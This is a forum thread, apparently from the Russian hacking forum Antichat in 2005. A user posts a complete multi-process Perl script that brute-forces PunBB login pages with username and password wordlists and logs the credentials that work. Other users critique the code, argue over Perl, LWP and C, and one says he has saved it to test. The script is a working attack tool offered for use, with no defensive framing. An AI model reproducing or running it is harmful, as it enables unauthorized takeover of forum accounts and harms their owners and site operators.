Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
23.08.2005, 20:12
|
|
Пачка маргарина
Регистрация: 14.07.2005
Сообщений: 964
Провел на форуме:
4646474
Репутация:
1424
|
|
Брут на перле для punbb
брут идет в три потока, буду рад вашим коментам, исправлениям, критике
#########################################
PHP код:
#!/usr/bin/perl
use LWP;
unless($ARGV[0] && $ARGV[1] && $ARGV[2]){
print("use punbb.pl http://site/forum/ userfile wordlist\n");
exit;};
$url=$ARGV[0];
my $ua = LWP::UserAgent->new(agent=>'Mozilla/4.0 (compatible; Windows 5.1)',timeout=>10);
$userfile=$ARGV[1];
$file=$ARGV[2];
my ($pid,$pid2);
$|=1;
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
elsif($pid && defined($pid2)){
brut(1,$userfile,$file,$url);
}
elsif(defined($pid)){
brut(2,$userfile,$file,$url);
}
else{
die("error fork()\n");
}
sub brut{
$str=shift;
$userfile=shift;
$file=shift;
$url=shift;
open(IN,"<$file") or die("can`t open wordlist\n");
my @arr=<IN>;
close(IN);
open(IN,"<$userfile");
my @ar=<IN>;
close(IN);
$q=$str*$#arr/3;
$q1=($str+1)*$#arr/3;
if($str==2){
splice(@arr,0,$q); }
elsif($str==1){
splice(@arr,0,$q);
splice(@arr,$q1,$#arr); }
elsif($str==0){
splice(@arr,$q1,$#arr); }
print "$str: wordlist loaded\n";
for(my $a=0 ; $a<=$#arr/3 ; $a++){
for($u=0;$u<=$#ar;$u++){
$user=$ar[$u];
$user=~s/\n$//g;
$pass=$arr[$a];
print $str.":".$pass;
$pass=~ s/\n$//;
$req = new HTTP::Request 'POST',$url.'login.php?action=in';
$data='form_sent=1&redirect_url='.$url.'index.php&req_username='.$user.'&req_password='.$pass.'&login=Login';
$req->content_type('application/x-www-form-urlencoded');
$req->content($data);
$res = $ua->request($req);
$content=$res->content;
if($content=~ m/Logged in successfully/gi){
print "######################\n";
print "USER :$user\n"; print "PASS :$pass\n";
print "######################\n";
open(OUT,">>out-punbb.txt");
print OUT $user.":".$pass."\n";
close(OUT);
}}}}
Последний раз редактировалось ShAnKaR; 23.08.2005 в 23:04..
|
|
|
23.08.2005, 20:50
|
|
Постоянный
Регистрация: 20.01.2005
Сообщений: 899
Провел на форуме:
1535446
Репутация:
182
|
|
Я из-за цветов код увидеть не могу...
|
|
|
|
24.08.2005, 04:15
|
|
Новичок
Регистрация: 17.08.2005
Сообщений: 16
Провел на форуме:
82828
Репутация:
0
|
|
Сохранил.
Утром будет тестится.
|
|
|
|
24.08.2005, 05:05
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233
Репутация:
2726
|
|
Вообще неплохо.
1) LWP лучше не использовать, вручную строить HTTP запрос
2)
if(($pid=fork()) && ($pid2=fork())){
brut(0,$userfile,$file,$url);
}
Очень неэстетично. Потоки (ну точнее процессы, пофигу) нужны для брута через прокси, иначе скорость практически не возрастет.
Однако перл ты знаешь хорошо...
3) перл бля этих делов не особо подходит, лучше просто писать для Unix на С, читай тему про мой брут для phpBB.
4) Смысл нулевой, как и от моего брута phpBB. Я невзлюбил phpBB а ты PunBB)) Ну что он тебе плохого сделал???)))))
Последний раз редактировалось KEZ; 24.08.2005 в 05:13..
|
|
|
|
24.08.2005, 08:59
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435
Репутация:
2290
|
|
1) Lwp лучше не использовать, вручную строить Http запрос
Вобще-то, именно Lwp следует использовать. Т.к. правило хорошого тона.
//отмазки типа "его может не быть" не пойдут, т.к. есть он в стандартной поставке.
3) перл бля этих делов не особо подходит
имхо он для этого идеален.
Приведи довод в опровержение, а? 
|
|
|
|
25.08.2005, 02:11
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233
Репутация:
2726
|
|
Вашу мать,с кем я общаюсь? ))
Может вам обьяснить почему ненужно использовать Delphi?
Давайте тогда сразу будем все делать в виде .BAT файлов!
мхо он для этого идеален.
Приведи довод в опровержение, а?
А ты на перле видал pthread_ ? Думаю что нет. А ты в курсе как сделан fork() ?
А ты знаешь что перл не везде есть? А почему все что делается под линукс - делается ПРОСТО под gcc ? |
|
|
|
25.08.2005, 09:24
|
|
Pagan Heart
Регистрация: 12.08.2004
Сообщений: 3,791
Провел на форуме:
6490435
Репутация:
2290
|
|
А ты знаешь что перл не везде есть?
ну вообще-то gcc есть еще реже
А почему все что делается под линукс - делается ПРОСТО под gcc ?
да-да-да, а FreeBSD сделана майкрософтом...
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
